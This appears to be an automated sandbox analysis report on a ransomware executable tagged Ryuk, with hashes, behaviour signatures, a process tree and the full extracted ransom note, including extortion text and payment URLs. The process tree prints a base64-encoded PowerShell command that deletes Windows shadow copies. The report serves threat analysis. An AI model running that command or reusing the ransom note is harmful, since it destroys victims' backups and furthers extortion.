Overview

overview

10

Static

static

10

8585efc472...ae.exe

windows7_x64

10

8585efc472...ae.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    171s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:40

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General

  • Target

    8585efc4727ac9013cb484669564f7e8cabf3693a1b2829f94c9da071349c1ae.exe

  • Size

    164KB

  • MD5

    0c6ad43c1a6fe188973794f4efade26a

  • SHA1

    f13a8ef503b1b162d605295c9d3a003f020e273f

  • SHA256

    8585efc4727ac9013cb484669564f7e8cabf3693a1b2829f94c9da071349c1ae

  • SHA512

    aa57df77ce07f851e4f0747e400b265fd8af8f92d594e01f39d645e3518b2d9783ea4217c01e8e99f69e37b927f045f393f9a03b5ad993a7da925525f83f734f

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\j06v2n-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension j06v2n. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware" , for example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8673CB9549D51A4B 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/8673CB9549D51A4B Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: F0btvZGE8YhbMKp/k2Yp3Rh6rsa1vxayIuWGRppXSfPVRdAWKWV6REiia8S6p9ma jjUOFNIp+nLkUjDMH9j4Tn6S2PLh/gf6SRL3eQLNibga7HDzbSUfVGOrXAi9X2I4 fnNhqdslwIhCieAyJB8lRHgI//TaA1U0c8+FmohKSj29MFk2olJ4vN9p9OFnp7jZ 29gsDjToZ+Nla3npq4nO/7/0RuFLxaAAcC92Mo/3U+pOyxHPC+R1Mb/fqweUDzM1 bjfPxHqIfei7uxGcW9hWOYSRpZv11MgLKHdwNuuePpBOjnkqM6aiSKr8ezCRu8mT F3pzKeNzyC0DoMDsjPX+NZ0L8NjBilGZy2I/2y/h+7orkkmOHF1Kv/MQppQFFbWZ KkqA47wZipnmBCfLDA0AbWDRNi8sw8Xy6Yq/bg1yGy8YC1n/C6i6A2Gnj1lUDV5c kadJu+klzAqWaOxs5QymHgygqv/FL32wBzw0KsQTNBIwNmAaspMGQqzkLYNhtuS7 4x59JpCKJYf2INDKSHMmJofbrW3mxdK0diiXTVipNPNhp0uV3Sc8Hy3EgOJLvNiz iU72C+RkCTbxuMRnwoKh0rScOgiXSyR9arkLe5FyTGJ7RgF3EhJsnmA2VzzVj2DG pPB/BzA51fBAdCWqD665RIE7bQuxpk1NCWSQxwNZlq53Le8q5LO6mpZKoiTuNPHl Ge82yrJVYDsDgTaorQHIhcy2SCa7TiNEHWE74Rvu9i4wCJtzQH7V7v2ho0WPLKvA MFhU0Tku0xI/AIEkWEUCL5OTXmF6yRqDt70p1pEaAHaKMuQvIdUlK1Qj7NSonkmT VxsfIaGaOyvyPq1SxdiMI3JdxXxUzVJwyqBLeVPlizoLqwC6gN6Rx7p7Jql8Srkk j6/9DgqyK/EjDGITlo/sGgcxfz05dtXU3cQCdzxD1+YLEgFLrcomOCpmvxfuSVNi ppVsG4qjFx9aTpeQiJmfS9C8b26xNHJiKDlpu8A+J3dTmU99HRimVwrJIGyQOeIb L5ayaJJGLK2flbhYmxDt4xVemEOGvEhbCiFNHOBthykQXSgjxr9A7TCdAQMYGUlB 3sFDJYi5LZ+Y3YIWcLzblw6rEDvrqfe3HBlc4eGi7D/ruweRX6M9IUIeXw51KNB2 g7HFQg== Extension name: j06v2n ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8673CB9549D51A4B

http://decryptor.top/8673CB9549D51A4B

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 12 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 27 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8585efc4727ac9013cb484669564f7e8cabf3693a1b2829f94c9da071349c1ae.exe
    "C:\Users\Admin\AppData\Local\Temp\8585efc4727ac9013cb484669564f7e8cabf3693a1b2829f94c9da071349c1ae.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1672
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:620
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1084

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1240-55-0x0000000075321000-0x0000000075323000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1672-56-0x000007FEFBEB1000-0x000007FEFBEB3000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1672-58-0x0000000002510000-0x0000000002512000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1672-59-0x0000000002512000-0x0000000002514000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1672-60-0x0000000002514000-0x0000000002517000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1672-57-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp

      Filesize

      11.4MB

      Download

    • memory/1672-61-0x000000001B720000-0x000000001BA1F000-memory.dmp

      Filesize

      3.0MB

      Download

    • memory/1672-62-0x000000000251B000-0x000000000253A000-memory.dmp

      Filesize

      124KB

      Download